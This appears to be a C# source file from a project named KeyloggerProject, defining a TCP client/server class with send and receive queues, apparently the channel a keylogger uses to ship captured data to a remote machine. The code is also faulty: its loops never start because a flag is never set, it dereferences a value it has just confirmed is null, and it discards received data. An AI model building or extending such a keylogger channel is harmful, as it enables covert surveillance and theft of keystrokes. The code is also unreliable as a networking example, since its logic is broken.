﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using System.Net.Sockets;

using System.Threading;

namespace KeyloggerProject
{
    class NetworkClass
    {
        public string Name = "";
        private TcpListener Serwer=null;
        private TcpClient Client=null;
        private NetworkStream NS = null;

        Thread WaitForClientsThread=null;
        Thread NetworkReaderThread=null;
        Thread NetworkWriterThread=null;

        private Queue<NetworkPakiet> ToSend = new Queue<NetworkPakiet>();
        private Queue<NetworkPakiet> ToRecv = new Queue<NetworkPakiet>();

        bool IsAlive = false;
        bool IsConnectec = false;

        

        /// <summary>
        /// Klient Connection Start
        /// </summary>
        /// <param name="ip"></param>
        /// <param name="port"></param>
        public NetworkClass(string ip,int port,string n)//klient
        {
            Name = n;
            try
            {
                Client = new TcpClient(ip, port);
                NS = Client.GetStream();
                NetworkReaderThread = new Thread(ReadNetwork);
                NetworkWriterThread = new Thread(WriteNetwork);
                NetworkWriterThread.Start();
                NetworkReaderThread.Start();
            }
            catch(Exception ex)
            {
                if (Configuration.DebagMode)
                    Runer.AddException(Name+": ",ex);
            }
        }
        public NetworkClass(TcpClient c,string n)//klient
        {
            Name = n;
            Client=c;
            try
            {
                NS = Client.GetStream();
                NetworkReaderThread = new Thread(ReadNetwork);
                NetworkWriterThread = new Thread(WriteNetwork);
                NetworkWriterThread.Start();
                NetworkReaderThread.Start();
            }
            catch (Exception ex)
            {
                if(Configuration.DebagMode)
                    Runer.AddException(Name+": ",ex);
            }
        }
        /// <summary>
        /// Serwer Start
        /// </summary>
        /// <param name="port"></param>
        public NetworkClass(int port,string n)//serwer
        {
            Name = n;
            try
            {
                Serwer = new TcpListener(System.Net.IPAddress.Any,port);
                Serwer.Start();
                WaitForClientsThread = new Thread(WaitForConnection);
                WaitForClientsThread.Start();
            }
            catch (Exception ex)
            {
                if (Configuration.DebagMode)
                    Runer.AddException(Name+": ",ex);
            }
        }
        /// <summary>
        /// Network Wait For Connection on Client Thread Engine
        /// </summary>
        private void WaitForConnection()
        {
            while(IsAlive)
            {
                try
                {
                    Client = Serwer.AcceptTcpClient();
                    Client = null;
                }
                catch (Exception ex)
                {
                    if (Configuration.DebagMode)
                        Runer.AddException(Name+": ",ex);
                }
            }
        }
        /// <summary>
        /// Network Reader Thread Engine
        /// </summary>
        private void ReadNetwork()
        {
            int lData=0;
            byte[] bufor = new byte[1024 * 1024 * 50];//50 Mb
            while (IsAlive && IsConnectec)
            {
                try
                {
                    lData=NS.Read(bufor,0,1024*1024*50);
                }
                catch(Exception ex)
                {

                    if (Configuration.DebagMode)
                        Runer.AddException(Name+": ",ex);
                }
                Thread.Sleep(1000);
            }
        }
        /// <summary>
        /// Network Writer Thread Engine
        /// </summary>
        private void WriteNetwork()
        {
            NetworkPakiet p=null;
            while (IsAlive && IsConnectec)
            {
                p=ToSend.Dequeue();
                if(p==null)
                {
                    try
                    {
                        if(p.data.Length>0)
                            NS.Write(p.data, 0, p.data.Length);
                    }
                    catch (Exception ex)
                    {
                        if (Configuration.DebagMode)
                            Runer.AddException(Name+": ",ex);
                    }
                }
                Thread.Sleep(1000);
            }
        }
        /// <summary>
        /// If this is NOT Serwer and we are connected we will add this network pakiet do kolejki komunikatów
        /// </summary>
        /// <param name="p"></param>
        public void Send(NetworkPakiet p)
        {
            if (IsConnectec && Serwer==null)
            {
                lock (ToSend)
                {
                    ToSend.Enqueue(p);
                }
            }
            else
            {
                lock (ToSend)
                    ToSend.Clear();
            }
        }
        
        public NetworkPakiet Recv()
        {
            if (IsConnectec && Serwer == null)
            {
                NetworkPakiet p = null;
                lock (ToRecv)
                {
                    p=ToRecv.Dequeue();
                }
                return p;
            }
            else
            {
                
            }
            return null;
        }
        public void Close()
        {

        }
    }
}
